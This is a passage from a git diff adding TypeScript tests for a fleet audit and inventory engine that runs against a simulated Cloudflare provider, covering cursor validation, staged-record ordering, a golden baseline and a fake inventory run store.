+    harness.operationStore.onNextReadOperationById = () => {
+      mutateCaller(probeMutationOperationId, STALE_AFTER_MS + 3);
+    };
+    const started = await advanceFleetAudit(harness.baseOptions(action));
+    expect(started.status).toBe('pending');
+    if (started.status !== 'pending') throw new Error('unreachable');
+    const persisted =
+      await harness.operationStore.readOperationById(operationId);
+    expect(persisted).toBeDefined();
+    if (!persisted) throw new Error('unreachable');
+    expect(persisted.state).toBe('running');
+    const progress = fleetAuditProgressFromUnknown(persisted.progress);
+    expect(progress.recordCount).toBe(intakeCount);
+    expect(progress.staleAfterMs).toBe(STALE_AFTER_MS);
+    expect(
+      await harness.operationStore.readOperationById(probeMutationOperationId),
+    ).toBeUndefined();
+    expect(
+      await harness.operationStore.readOperationById(clockMutationOperationId),
+    ).toBeUndefined();
+    expect(
+      await harness.operationStore.readOperationById(pinMutationOperationId),
+    ).toBeUndefined();
+    // The mid-call `action.generation = 2` did not reach the resolution: the
+    // operation pins, and persists, the latest finalized generation 1.
+    expect(action.generation).toBe(2);
+    expect(progress.generation).toBe(1);
+    expect(harness.inventoryStore.pins).toEqual([
+      { generation: 1, pinnedBy: `fleet-audit:${operationId}` },
+    ]);
+    const stagedRecords = await readAllFleetOperationRows(
+      harness.operationStore,
+      operationId,
+      'record',
+    );
+    expect(stagedRecords).toHaveLength(intakeCount);
+    expect(stagedRecords[0]?.payload.tenantTag).toBe(intakeTenantTag);
+
+    // AFTER-START MUTATION. Only the array length is restored: the rest of
+    // this title drives `continue`, which never reads `action` again, and
+    // `records[0].tenantTag` is overwritten on the very next line.
+    records.length = intakeCount;
+    Object.assign(records[0] as FleetRecord, {
+      tenantTag: 'mutatedafterstart',
+    });
+    records.push(baseRecord('appendedafterstart'));
+    expect(
+      fleetAuditProgressFromUnknown(
+        (await harness.operationStore.readOperationById(operationId))?.progress,
+      ).recordCount,
+    ).toBe(intakeCount);
+    expect(
+      await readAllFleetOperationRows(
+        harness.operationStore,
+        operationId,
+        'record',
+      ),
+    ).toEqual(stagedRecords);
+    records.pop();
+    Object.assign(records[0] as FleetRecord, { tenantTag: intakeTenantTag });
+
+    // Skip the preceding global stages so this fixture pays for only the last
+    // global-stage call and the first per-record call that it measures.
+    //
+    // A DELIBERATE raw cast, unlike every read above: the point is to write a
+    // fast-forwarded stage straight into the store. Routing it through
+    // `fleetAuditProgressFromUnknown` would only re-validate what this line
+    // just built, and the codec is what the coordinator must apply on the way
+    // back OUT.
+    harness.operationStore.operations.set(operationId, {
+      ...persisted,
+      progress: {
+        ...progress,
+        stage: { step: 'r2-missing-identity', expectedOrdinal: 0 },
+      } as FleetAuditProgress,
+    });
+    const afterGlobalStage = await advanceFleetAudit(
+      harness.baseOptions({ kind: 'continue', token: started.token }),
+    );
+    expect(afterGlobalStage.status).toBe('pending');
+    if (afterGlobalStage.status !== 'pending') throw new Error('unreachable');
+    expect(afterGlobalStage.stage).toEqual({
+      step: 'per-record',
+      recordOrdinal: 0,
+    });
+
+    const recordPageReadsBefore =
+      harness.operationStore.rowPageReadCounts.get('record') ?? 0;
+    const afterFirstRecord = await advanceFleetAudit(
+      harness.baseOptions({
+        kind: 'continue',
+        token: afterGlobalStage.token,
+      }),
+    );
+    expect(afterFirstRecord.status).toBe('pending');
+    if (afterFirstRecord.status !== 'pending') throw new Error('unreachable');
+    expect(afterFirstRecord.stage).toEqual({
+      step: 'per-record',
+      recordOrdinal: 1,
+    });
+    expect(
+      (harness.operationStore.rowPageReadCounts.get('record') ?? 0) -
+        recordPageReadsBefore,
+    ).toBe(2);
+    expect(
+      (await harness.operationStore.readOperationById(operationId))?.state,
+    ).toBe('running');
+  });
+
+  it('a persisted global-stage cursor beyond its source length or a per-record cursor beyond the record count refuses as malformed with no provider work and no durable mutation instead of truncating the audit', async () => {
+    const globalInventory = emptyInventory();
+    globalInventory.findings.push({
+      tenantTag: 'cursor-global',
+      environment: ENVIRONMENT,
+      kind: 'malformed-route',
+      detail: 'cursor fixture',
+    });
+    const globalCase = {
+      records: [] as readonly FleetRecord[],
+      inventory: globalInventory,
+      stage: { step: 'provider-findings', rowOrdinal: 2 } as const,
+    };
+    const equalGlobalCase = {
+      records: [] as readonly FleetRecord[],
+      inventory: globalInventory,
+      stage: { step: 'provider-findings', rowOrdinal: 1 } as const,
+    };
+    const record = baseRecord('cursorrecord');
+    const perRecordCase = {
+      records: [record] as readonly FleetRecord[],
+      inventory: inventoryFor([record]),
+      stage: { step: 'per-record', recordOrdinal: 2 } as const,
+    };
+
+    for (const [index, testCase] of [
+      globalCase,
+      equalGlobalCase,
+      perRecordCase,
+    ].entries()) {
+      const harness = buildHarness(testCase.records, testCase.inventory);
+      const operationId = uuidFor(84 + index);
+      const started = await advanceFleetAudit(
+        harness.baseOptions({
+          kind: 'start',
+          operationId,
+          records: testCase.records,
+          staleAfterMs: STALE_AFTER_MS,
+        }),
+      );
+      expect(started.status).toBe('pending');
+      if (started.status !== 'pending') throw new Error('unreachable');
+      const persisted =
+        await harness.operationStore.readOperationById(operationId);
+      expect(persisted).toBeDefined();
+      if (!persisted) throw new Error('unreachable');
+      const progress = fleetAuditProgressFromUnknown(persisted.progress);
+      // A DELIBERATE raw cast: this line CORRUPTS the persisted cursor on
+      // purpose, so it must bypass the codec the read above went through.
+      // Every read in this file goes the other way.
+      const corrupted: FleetOperationRunRecord = {
+        ...persisted,
+        progress: { ...progress, stage: testCase.stage } as FleetAuditProgress,
+      };
+      harness.operationStore.operations.set(operationId, corrupted);
+      const rowsBefore = structuredClone([...harness.operationStore.rows]);
+
+      await expect(
+        advanceFleetAudit(
+          harness.baseOptions({ kind: 'continue', token: started.token }),
+        ),
+      ).rejects.toThrow('fleet operation state is malformed');
+      expect(harness.opsLog).toEqual([]);
+      expect(harness.fleetStore.ops).toEqual([]);
+      expect([...harness.operationStore.rows]).toEqual(rowsBefore);
+      const afterRefusal =
+        await harness.operationStore.readOperationById(operationId);
+      expect(afterRefusal).toEqual(corrupted);
+      expect(harness.operationStore.heads.get('audit')).toBe(operationId);
+      // Read back off the STORE, not off the local fixture: the claim is that
+      // the refusal left the durable operation running, which a property of
+      // `corrupted` could never falsify.
+      expect(afterRefusal?.state).toBe('running');
+    }
+  });
+
+  it('the per-record stage visits every staged record exactly once, in staged ordinal order, including a record that emits no finding', async () => {
+    const bob = baseRecord('bob');
+    const carol = baseRecord('carol');
+    const alice = baseRecord('alice');
+    const records = [bob, carol, alice];
+    const auditTime = AUDIT_NOW + STALE_AFTER_MS + 60_001;
+    const harness = buildHarness(records, inventoryFor(records), {
+      auditClock: () => auditTime,
+    });
+    harness.liveByTenant.set(
+      carol.tenantTag,
+      cleanLiveDeployment(carol, {
+        maintenance: {
+          ...HEALTHY_MAINTENANCE,
+          lastSweepAt: auditTime,
+          lastPurgeAt: auditTime,
+        },
+      }),
+    );
+    const operationId = uuidFor(94);
+    const visited: string[] = [];
+    // `driveToTerminal` and `startAndDrive` call `baseOptions` themselves on
+    // every iteration, so the instrumentation has to sit on the harness rather
+    // than on one options object.
+    const instrumented: Harness = {
+      ...harness,
+      baseOptions: (action) => {
+        const options = harness.baseOptions(action);
+        return {
+          ...options,
+          specFor: (record) => {
+            visited.push(record.tenantTag);
+            return options.specFor(record);
+          },
+        };
+      },
+    };
+
+    const result = await startAndDrive(instrumented, operationId, records);
+    expect(result.status).toBe('complete');
+    const stagedTags = (
+      harness.operationStore.rows.get(`${operationId}:record`) ?? []
+    )
+      .slice()
+      .sort((left, right) => left.ordinal - right.ordinal)
+      .map((row) => row.payload.tenantTag);
+    expect(stagedTags).toEqual(['bob', 'carol', 'alice']);
+    expect(visited).toEqual(stagedTags);
+    const page = await readFleetAuditFindingsPage(harness.operationStore, {
+      operationId,
+      limit: 10,
+    });
+    expect(page.done).toBe(true);
+    expect(
+      page.findings.map((finding) => [finding.tenantTag, finding.kind]),
+    ).toEqual([
+      ['bob', 'maintenance-stale'],
+      ['alice', 'maintenance-stale'],
+    ]);
+  });
+});
diff --git a/packages/fleet-control/test/fleet-audit-golden.test.ts b/packages/fleet-control/test/fleet-audit-golden.test.ts
new file mode 100644
index 00000000..f10731c1
--- /dev/null
+++ b/packages/fleet-control/test/fleet-audit-golden.test.ts
@@ -0,0 +1,17 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import { describe, expect, it } from 'vitest';
+import {
+  AUDIT_BASELINE_FINDINGS,
+  AUDIT_BASELINE_OPS,
+} from './fixtures/fleet-audit-baseline.js';
+import { runFleetAuditBaseline } from './fixtures/fleet-audit-world.js';
+
+describe('fleet audit golden baseline', () => {
+  it('audits the recorded world into the frozen golden findings and op log, assertOwned included', async () => {
+    const { findings, ops } = await runFleetAuditBaseline();
+
+    expect(findings).toStrictEqual(AUDIT_BASELINE_FINDINGS);
+    expect(ops).toStrictEqual(AUDIT_BASELINE_OPS);
+  });
+});
diff --git a/packages/fleet-control/test/fleet-inventory-advance.test.ts b/packages/fleet-control/test/fleet-inventory-advance.test.ts
new file mode 100644
index 00000000..b1d0f920
--- /dev/null
+++ b/packages/fleet-control/test/fleet-inventory-advance.test.ts
@@ -0,0 +1,1675 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import { describe, expect, it } from 'vitest';
+import {
+  CloudflareProvisioningClient,
+  cloudflareFleetInventoryContext,
+} from '../src/cloudflare-client.js';
+import {
+  type AdvanceFleetInventoryOptions,
+  advanceFleetInventory,
+  FleetInventoryAdvanceCapabilityError,
+  type FleetInventoryAdvanceResult,
+  readFleetInventoryGeneration,
+} from '../src/fleet-inventory-advance.js';
+import {
+  type CollectFleetInventoryOptions,
+  canonicalFleetInventoryRunOptions,
+  emptyFleetInventoryRowCounts,
+  type FleetInventoryGeneration,
+  type FleetInventoryGenerationRef,
+  type FleetInventoryLease,
+  type FleetInventoryProviderContext,
+  type FleetInventoryRowKind,
+  type FleetInventoryRunOptions,
+  type FleetInventoryRunRecord,
+  type FleetInventoryRunStore,
+  FleetInventoryRunTokenError,
+  FleetInventoryRunTokenFutureError,
+  FleetInventoryRunTokenOperationError,
+  type FleetInventoryStage,
+  type FleetInventoryStagedFact,
+  type FleetInventoryStagedRow,
+  type FleetInventoryStageInput,
+  FleetInventoryStateError,
+  fleetInventoryOptionsDigest,
+  fleetInventoryRunRecordFromUnknown,
+  fleetInventoryStagedFactFromUnknown,
+  fleetInventoryStagedRowFromUnknown,
+  initialFleetInventoryStage,
+} from '../src/fleet-inventory-state.js';
+import { canonicalDeploymentEgressPolicy } from '../src/platform-resources.js';
+import type { FleetResourceInventory } from '../src/types.js';
+import {
+  type CloudflareFixtureHandler,
+  pageArray,
+  recordingFetch,
+  restProjection,
+  single,
+  testRateCoordinator,
+} from './fixtures/cloudflare-fetch-fixture.js';
+import { DRAIN_BASELINE_INVENTORY } from './fixtures/fleet-inventory-drain-baseline.js';
+import {
+  DRAIN_ACCOUNT_ID,
+  DRAIN_DISPATCH_NAMESPACE,
+  DRAIN_INVENTORY_OPTIONS,
+  fleetInventoryDrainHandler,
+  fleetInventoryDrainWorld,
+} from './fixtures/fleet-inventory-drain-world.js';
+import {
+  type ProviderWorld,
+  providerWorld,
+} from './fixtures/provider-world.js';
+
+const OPERATION_ID = '123e4567-e89b-42d3-a456-426614174000';
+const FOREIGN_OPERATION_ID = '123e4567-e89b-42d3-a456-4266141740ff';
+const MAX_PROVIDER_REQUESTS = 1_000;
+const MAX_FIXTURE_CONTINUATIONS = 200;
+
+const STUB_OPTIONS: CollectFleetInventoryOptions = {
+  hostRoutingKvId: 'hosts',
+  databaseNamePrefix: 'fleet-',
+  scriptNamePrefix: 'fleet-',
+};
+
+const INSPECT_SUFFIX = ' could not be inspected';
+const INVENTORY_SUFFIX = ' could not be inventoried';
+
+/**
+ * The two provider-error details the durable engine sanitizes. The drain
+ * composes the transient text back from its call-local diagnostics, so the
+ * expected materialization is derived from the drain rather than hard-coded.
+ */
+function sanitizedInventory(
+  inventory: FleetResourceInventory,
+): FleetResourceInventory {
+  return {
+    ...inventory,
+    findings: inventory.findings.map((finding) => {
+      for (const suffix of [INSPECT_SUFFIX, INVENTORY_SUFFIX]) {
+        const at = finding.detail.indexOf(`${suffix}: `);
+        if (at >= 0) {
+          return {
+            ...finding,
+            detail: finding.detail.slice(0, at + suffix.length),
+          };
+        }
+      }
+      return finding;
+    }),
+  };
+}
+
+class FakeInventoryRunStore implements FleetInventoryRunStore {
+  readonly runs = new Map<string, FleetInventoryRunRecord>();
+  readonly rows = new Map<number, FleetInventoryStagedRow[]>();
+  readonly facts = new Map<number, FleetInventoryStagedFact[]>();
+  readonly refs = new Map<number, FleetInventoryGenerationRef>();
+  readonly hiddenFromLease = new Set<string>();
+  readonly pins: number[] = [];
+  activeOperationId: string | undefined;
+  latestGeneration: number | undefined;
+  nextGeneration = 1;
+  leaseLost = false;
+  leases = 0;
+
+  async withAccountInventoryLease<T>(
+    operation: (lease: FleetInventoryLease) => Promise<T>,
+  ): Promise<T> {
+    this.leases += 1;
+    return operation(this.#lease());
+  }
+
+  async readFinalizedGeneration(
+    generation: number,
+  ): Promise<FleetInventoryGeneration> {
+    const ref = this.refs.get(generation);
+    if (!ref) {
+      throw new Error(
+        `fleet inventory generation ${generation} is not finalized`,
+      );
+    }
+    const rows = this.rows.get(generation) ?? [];
+    const facts = this.facts.get(generation) ?? [];
+    for (const kind of Object.keys(
+      ref.rowManifest,
+    ) as FleetInventoryRowKind[]) {
+      const stored = rows.filter((row) => row.kind === kind).length;
+      if (stored !== ref.rowManifest[kind]) {
+        throw new Error(
+          `fleet inventory generation ${generation} does not match its manifest`,
+        );
+      }
+    }
+    return { ref, rows, facts };
+  }
+
+  async latestFinalizedGeneration(): Promise<
+    FleetInventoryGenerationRef | undefined
+  > {
+    return this.latestGeneration === undefined
+      ? undefined
+      : this.refs.get(this.latestGeneration);
+  }
+
+  async readRunByOperation(
+    operationId: string,
+  ): Promise<FleetInventoryRunRecord | undefined> {
+    return this.runs.get(operationId);
+  }
+
+  async pinGeneration(input: Readonly<{ generation: number }>): Promise<void> {
+    this.pins.push(input.generation);
+  }
+
+  async releasePin(input: Readonly<{ generation: number }>): Promise<void> {
+    this.pins.splice(this.pins.indexOf(input.generation), 1);
+  }
+
+  async pruneInventoryGenerations(): Promise<Readonly<{ deleted: number }>> {
+    return { deleted: 0 };
+  }
+
+  #lease(): FleetInventoryLease {
+    const store = this;
+    return {
+      async assertOwned() {
+        if (store.leaseLost) {
+          throw new Error('fleet inventory account lease was lost');
+        }
+      },
+      async startRun(input) {
+        const existing = store.runs.get(input.operationId);
+        if (existing) {
+          if (existing.optionsDigest !== input.optionsDigest) {
+            throw new Error(
+              `fleet inventory run '${input.operationId}' has a different options digest`,
+            );
+          }
+          return existing;
+        }
+        if (
+          store.activeOperationId !== undefined &&
+          store.activeOperationId !== input.operationId
+        ) {
+          throw new Error(
+            'another fleet inventory operation owns this account head',
+          );
+        }
+        const generation = store.nextGeneration;
+        store.nextGeneration += 1;
+        store.activeOperationId = input.operationId;
+        const run: FleetInventoryRunRecord = {
+          version: 1,
+          operationId: input.operationId,
+          optionsDigest: input.optionsDigest,
+          options: input.options,
+          state: 'staging',
+          progress: {
+            stage: initialFleetInventoryStage(input.options),
+            generation,
+            revision: 0,
+            stagedCounts: emptyFleetInventoryRowCounts(),
+            factCount: 0,
+            providerRequests: 0,
+          },
+          updatedAt: new Date(0).toISOString(),
+        };
+        store.runs.set(input.operationId, run);
+        return run;
+      },
+      async readRun(operationId) {
+        return store.hiddenFromLease.has(operationId)
+          ? undefined
+          : store.runs.get(operationId);
+      },
+      async commitChunk(input) {
+        const intended = fleetInventoryRunRecordFromUnknown(input.runRecord);
+        const rows = input.rows.map(fleetInventoryStagedRowFromUnknown);
+        const facts = input.facts.map(fleetInventoryStagedFactFromUnknown);
+        const conflict = () =>
+          new Error('fleet inventory chunk lost its revision guard');
+        if (
+          intended.operationId !== input.operationId ||
+          intended.state !== 'staging' ||
+          intended.progress.revision !== input.expectedRevision + 1
+        ) {
+          throw conflict();
+        }
+        const rowKey = (row: FleetInventoryStagedRow) =>
+          `${row.kind}:${row.ordinal}`;
+        const factKey = (fact: FleetInventoryStagedFact) =>
+          `${fact.deploymentOrdinal}:${fact.factKind}:${fact.factOrdinal}`;
+        if (
+          new Set(rows.map(rowKey)).size !== rows.length ||
+          new Set(facts.map(factKey)).size !== facts.length
+        ) {
+          throw new FleetInventoryStateError();
+        }
+        const run = store.runs.get(input.operationId);
+        if (!run) {
+          throw new Error(
+            `no fleet inventory run for operation '${input.operationId}'`,
+          );
+        }
+        const generation = run.progress.generation;
+        const canWrite =
+          !store.leaseLost &&
+          run.state === 'staging' &&
+          run.progress.revision === input.expectedRevision &&
+          generation === intended.progress.generation &&
+          run.optionsDigest === intended.optionsDigest;
+        if (!canWrite && JSON.stringify(run) !== JSON.stringify(intended)) {
+          throw conflict();
+        }
+        const storedRows = new Map(
+          (store.rows.get(generation) ?? []).map((row) => [rowKey(row), row]),
+        );
+        const storedFacts = new Map(
+          (store.facts.get(generation) ?? []).map((fact) => [
+            factKey(fact),
+            fact,
+          ]),
+        );
+        for (const row of rows) {
+          const stored = storedRows.get(rowKey(row));
+          if (!stored && !canWrite) throw conflict();
+          if (
+            stored &&
+            JSON.stringify(stored.payload) !== JSON.stringify(row.payload)
+          ) {
+            throw new Error('fleet inventory staged payload is immutable');
+          }
+          storedRows.set(rowKey(row), row);
+        }
+        for (const fact of facts) {
+          const stored = storedFacts.get(factKey(fact));
+          if (!stored && !canWrite) throw conflict();
+          if (
+            stored &&
+            JSON.stringify(stored.payload) !== JSON.stringify(fact.payload)
+          ) {
+            throw new Error('fleet inventory staged payload is immutable');
+          }
+          storedFacts.set(factKey(fact), fact);
+        }
+        if (canWrite) {
+          store.rows.set(generation, [...storedRows.values()]);
+          store.facts.set(generation, [...storedFacts.values()]);
+          store.runs.set(input.operationId, intended);
+        }
+        return canWrite ? intended : run;
+      },
+      async finalizeRun(input) {
+        const run = store.runs.get(input.operationId);
+        if (!run || run.progress.revision !== input.expectedRevision) {
+          throw new Error('fleet inventory finalize lost its revision guard');
+        }
+        const ref: FleetInventoryGenerationRef = store.refs.get(
+          run.progress.generation,
+        ) ?? {
+          generation: run.progress.generation,
+          operationId: run.operationId,
+          finalizedAtMs: 1_700_000_000_000,
+          rowManifest: input.manifest,
+          factCount: input.factCount,
+        };
+        store.runs.set(input.operationId, { ...run, state: 'finalized' });
+        store.refs.set(ref.generation, ref);
+        if (
+          (store.activeOperationId === undefined ||
+            store.activeOperationId === input.operationId) &&
+          (store.latestGeneration === undefined ||
+            store.latestGeneration < ref.generation)
+        ) {
+          store.latestGeneration = ref.generation;
+          store.activeOperationId = undefined;
+        }
+        return ref;
+      },
+      async failRun(input) {
+        const run = store.runs.get(input.operationId);
+        if (run) store.runs.set(input.operationId, { ...run, state: 'failed' });
+        store.activeOperationId = undefined;
+      },
+      pinGeneration: (input) => store.pinGeneration(input),
+      releasePin: (input) => store.releasePin(input),
+      pruneInventoryGenerations: () => store.pruneInventoryGenerations(),
+    };
+  }
+}
+
+/** A context that stages nothing and finalizes on its first chunk. */
+function stubContext(): FleetInventoryProviderContext & {
+  readonly inputs: FleetInventoryStageInput[];
+} {
+  const inputs: FleetInventoryStageInput[] = [];
+  return {
+    inputs,
+    async advanceStage(input) {
+      inputs.push(input);
+      return {
+        rows: [],
+        facts: [],
+        nextStage: { step: 'finalize' },
+        providerRequests: 0,
+        diagnostics: [],
+      };
+    },
+  };
+}
+
+function storeWithout(
+  store: FleetInventoryRunStore,
+  member: keyof FleetInventoryRunStore,
+): FleetInventoryRunStore {
+  const members: (keyof FleetInventoryRunStore)[] = [
+    'withAccountInventoryLease',
+    'readFinalizedGeneration',
+    'latestFinalizedGeneration',
+    'readRunByOperation',
+    'pinGeneration',
+    'releasePin',
+    'pruneInventoryGenerations',
+  ];
+  const partial: Record<string, unknown> = {};
+  for (const name of members) {
+    if (name === member) continue;
+    partial[name] = (...input: unknown[]) =>
+      (store[name] as (...args: unknown[]) => unknown)(...input);
+  }
+  return partial as unknown as FleetInventoryRunStore;
+}
+
+async function runToCompletion(
+  options: Omit<AdvanceFleetInventoryOptions, 'action'> &
+    Readonly<{
+      operationId?: string;
+      runOptions?: CollectFleetInventoryOptions;
+    }>,
+): Promise<FleetInventoryAdvanceResult> {
+  const operationId = options.operationId ?? OPERATION_ID;
+  let result = await advanceFleetInventory({
+    ...options,
+    action: {
+      kind: 'start',
+      operationId,
+      options: options.runOptions ?? STUB_OPTIONS,
+    },
+  });
+  for (let chunk = 0; result.status === 'pending'; chunk += 1) {
+    if (chunk >= MAX_FIXTURE_CONTINUATIONS) {
+      const persisted = await options.store.readRunByOperation(operationId);
+      throw new Error(
+        `runToCompletion exceeded ${MAX_FIXTURE_CONTINUATIONS} continuations: token=${JSON.stringify(result.token)}, progress=${JSON.stringify(persisted?.progress)}`,
+      );
+    }
+    result = await advanceFleetInventory({
+      ...options,
+      action: { kind: 'continue', token: result.token },
+    });
+  }
+  return result;
+}
+
+async function drainWithClient(
+  handler: CloudflareFixtureHandler,
+  accountId: string,
+  dispatchNamespace: string,
+  options: CollectFleetInventoryOptions,
+): Promise<FleetResourceInventory> {
+  const client = new CloudflareProvisioningClient({
+    accountId,
+    apiToken: 'token',
+    rateCoordinator: testRateCoordinator(),
+    dispatchNamespace,
+    fetch: recordingFetch(handler).fetch,
+  });
+  return client.collectFleetInventory(options);
+}
+
+async function boundedWithClient(
+  handler: CloudflareFixtureHandler,
+  accountId: string,
+  dispatchNamespace: string,
+  options: CollectFleetInventoryOptions,
+  maxProviderRequests = MAX_PROVIDER_REQUESTS,
+): Promise<
+  Readonly<{
+    inventory: FleetResourceInventory;
+    store: FakeInventoryRunStore;
+    chunks: number;
+    executed: readonly FleetInventoryStage[];
+  }>
+> {
+  const client = new CloudflareProvisioningClient({
+    accountId,
+    apiToken: 'token',
+    rateCoordinator: testRateCoordinator(),
+    dispatchNamespace,
+    fetch: recordingFetch(handler).fetch,
+  });
+  const store = new FakeInventoryRunStore();
+  const context = cloudflareFleetInventoryContext(client);
+  const executed: FleetInventoryStage[] = [
+    initialFleetInventoryStage(canonicalFleetInventoryRunOptions(options)),
+  ];
+  let chunks = 0;
+  let result = await advanceFleetInventory({
+    context,
+    store,
+    action: { kind: 'start', operationId: OPERATION_ID, options },
+    maxProviderRequests,
+    maxStagedRowsPerChunk: 2_000,
+  });
+  for (; result.status === 'pending'; chunks += 1) {
+    const persisted = store.runs.get(OPERATION_ID);
+    if (chunks >= MAX_FIXTURE_CONTINUATIONS) {
+      throw new Error(
+        `boundedWithClient exceeded ${MAX_FIXTURE_CONTINUATIONS} continuations: token=${JSON.stringify(result.token)}, progress=${JSON.stringify(persisted?.progress)}`,
+      );
+    }
+    if (persisted) executed.push(persisted.progress.stage);
+    result = await advanceFleetInventory({
+      context,
+      store,
+      action: { kind: 'continue', token: result.token },
+      maxProviderRequests,
+      maxStagedRowsPerChunk: 2_000,
+    });
+  }
+  return {
+    inventory: await readFleetInventoryGeneration(
+      store,
+      result.generation.generation,
+    ),
+    store,
+    chunks,
+    executed,
+  };
+}
+
+// ---------------------------------------------------------------------------
+// A SECOND, independent provider world. It is deliberately NOT the golden
+// world and records no baseline: it drives an equivalence derived at test time
+// so the drain rewrite must generalize instead of memorizing one recording.
+// ---------------------------------------------------------------------------
+
+const SECOND_ACCOUNT_ID = 'account';
+const SECOND_DISPATCH_NAMESPACE = 'edge';
+const SECOND_HOST_ROUTING_KV_ID = 'edge-hosts';
+const SECOND_SPEC_DIGEST = 'c'.repeat(64);
+
+const SECOND_INVENTORY_OPTIONS: CollectFleetInventoryOptions = {
+  hostRoutingKvId: SECOND_HOST_ROUTING_KV_ID,
+  databaseNamePrefix: 'edge-',
+  scriptNamePrefix: 'edge-',
+  includeDispatchNamespace: true,
+  // R2 is deliberately excluded here, unlike the golden world.
+  includeR2Buckets: false,
+};
+
+const SECOND_POLICY = canonicalDeploymentEgressPolicy({
+  policyId: 'policy-edge',
+  tenantTag: 'omega',
+  environment: 'staging',
+  allowedHosts: ['api.edge.test'],
+});
+
+const SECOND_KV_ENTRIES: readonly (readonly [string, string])[] = [
+  [
+    '__anchorage_script__:edge-one',
+    JSON.stringify({
+      scriptName: 'edge-one',
+      tenantTag: 'omega',
+      environment: 'staging',
+      databaseId: 'db-edge-one',
+      routeHostname: 'one.edge.test',
+    }),
+  ],
+  [
+    '__anchorage_script__:edge-broken',
+    JSON.stringify({
+      scriptName: 'edge-broken',
+      tenantTag: 'omega',
+      environment: 'staging',
+      databaseId: 'db-edge-broken',
+      routeHostname: 'broken.edge.test',
+    }),
+  ],
+  [
+    'one.edge.test',
+    JSON.stringify({
+      scriptName: 'edge-one',
+      tenantTag: 'omega',
+      environment: 'staging',
+      ...SECOND_POLICY,
+    }),
+  ],
+  ['unparsable.edge.test', 'not json'],
+  ['second-unparsable.edge.test', 'not json'],
+  // A host route whose ownership metadata is incomplete. These two extra keys
+  // exist so the host-routing re-read costs enough that `registration-checks`
+  // cannot finish both inspections inside the minimum provider budget.
+  [
+    'missing-owner.edge.test',
+    JSON.stringify({ scriptName: 'edge-one', tenantTag: 'omega' }),
+  ],
+];
+
+const SECOND_DISPATCH_LISTING: readonly Readonly<{
+  id: string;
+  tags: readonly string[];
+}>[] = [
+  {
+    id: 'edge-one',
+    tags: ['fleet:anchorage', 'tenant:omega', 'environment:staging'],
+  },
+  {
+    id: 'edge-broken',
+    tags: ['fleet:anchorage', 'tenant:omega', 'environment:staging'],
+  },
+];
+
+const SECOND_DISPATCH_SETTINGS: Readonly<
+  Record<
+    string,
+    Readonly<{ bindings: readonly unknown[]; tags: readonly string[] }>
+  >
+> = {
+  'edge-one': {
+    bindings: [
+      { type: 'd1', name: 'DB', database_id: 'db-edge-one' },
+      { type: 'plain_text', name: 'DEPLOYMENT_TENANT', text: 'omega' },
+      { type: 'secret_text', name: 'EDGE_ADMIN' },
+    ],
+    tags: [
+      'fleet:anchorage',
+      'tenant:omega',
+      'environment:staging',
+      'schema:3',
+      `spec:${SECOND_SPEC_DIGEST}`,
+    ],
+  },
+  // No `spec:` tag, so the dispatch inspection refuses and the drain composes
+  // the transient provider text the engine keeps out of durable state.
+  'edge-broken': {
+    bindings: [],
+    tags: [
+      'fleet:anchorage',
+      'tenant:omega',
+      'environment:staging',
+      'schema:3',
+    ],
+  },
+};
+
+function secondWorld(): ProviderWorld {
+  const world = providerWorld();
+  world.zones.push({ id: 'zone-edge' });
+  world.routes.push({
+    zoneId: 'zone-edge',
+    id: 'route-edge',
+    pattern: 'edge.example.test/*',
+    script: 'edge-state',
+  });
+  world.customDomains.push({
+    id: 'domain-edge',
+    hostname: 'app.edge.test',
+    service: 'edge-state',
+  });
+  world.durableObjectNamespaces.push({
+    id: 'ns-edge',
+    script: 'edge-state',
+    className: 'EdgeState',
+  });
+  world.seedDatabase('edge-main', { databaseId: 'db-edge-main' });
+  world.seedDatabase('other-main', { databaseId: 'db-other-main' });
+  // A trusted Worker reachable only through a preview URL: the arm the golden
+  // world never exercised.
+  world.seedScript('edge-state', {
+    versions: [
+      {
+        versionId: 'version-edge-state',
+        tag: undefined,
+        mainModule: 'worker.js',
+        modules: [],
+        bindings: [
+          { type: 'd1', name: 'STATE_DB', database_id: 'db-edge-main' },
+          {
+            type: 'durable_object_namespace',
+            name: 'STATE',
+            class_name: 'EdgeState',
+            namespace_id: 'ns-edge',
+          },
+          { type: 'plain_text', name: 'DEPLOYMENT_TENANT', text: 'omega' },
+          { type: 'plain_text', name: 'FLEET_ENVIRONMENT', text: 'staging' },
+          { type: 'plain_text', name: 'FLEET_SCHEMA_VERSION', text: '3' },
+          {
+            type: 'plain_text',
+            name: 'FLEET_RESOURCE_ROLE',
+            text: 'platform-state',
+          },
+          {
+            type: 'plain_text',
+            name: 'FLEET_RESOURCE_GROUP',
+            text: 'policy-edge',
+          },
+          {
+            type: 'plain_text',
+            name: 'FLEET_SPEC_DIGEST',
+            text: SECOND_SPEC_DIGEST,
+          },
+          { type: 'secret_text', name: 'EDGE_CREDENTIAL' },
+        ],
+      },
+    ],
+    deployment: [{ versionId: 'version-edge-state', percentage: 100 }],
+    subdomain: { enabled: false, previewsEnabled: true },
+  });
+  // No FLEET_SCHEMA_VERSION, so the per-script inventory refuses.
+  world.seedScript('edge-unreadable', {
+    versions: [
+      {
+        versionId: 'version-edge-unreadable',
+        tag: undefined,
+        mainModule: 'worker.js',
+        modules: [],
+        bindings: [
+          { type: 'plain_text', name: 'DEPLOYMENT_TENANT', text: 'omega' },
+        ],
+      },
+    ],
+    deployment: [{ versionId: 'version-edge-unreadable', percentage: 100 }],
+    subdomain: { enabled: false, previewsEnabled: false },
+  });
+  world.seedScript('other-app', {
+    versions: [
+      {
+        versionId: 'version-other-app',
+        tag: undefined,
+        mainModule: 'worker.js',
+        modules: [],
+        bindings: [],
+      },
+    ],
+    deployment: [{ versionId: 'version-other-app', percentage: 100 }],
+    subdomain: { enabled: true, previewsEnabled: true },
+  });
+  return world;
+}
+
+function secondWorldHandler(world: ProviderWorld): CloudflareFixtureHandler {
+  const rest = restProjection(world);
+  const accountPrefix = `/client/v4/accounts/${SECOND_ACCOUNT_ID}`;
+  const kvPath = `/storage/kv/namespaces/${SECOND_HOST_ROUTING_KV_ID}`;
+  const namespacePath = `/workers/dispatch/namespaces/${SECOND_DISPATCH_NAMESPACE}`;
+  const scriptsPath = `${namespacePath}/scripts`;
+  const notFound = () =>
+    Response.json(
+      {
+        success: false,
+        errors: [{ code: 10090, message: 'missing' }],
+        messages: [],
+        result: null,
+      },
+      { status: 404 },
+    );
+  return async (request) => {
+    const target = new URL(request.url);
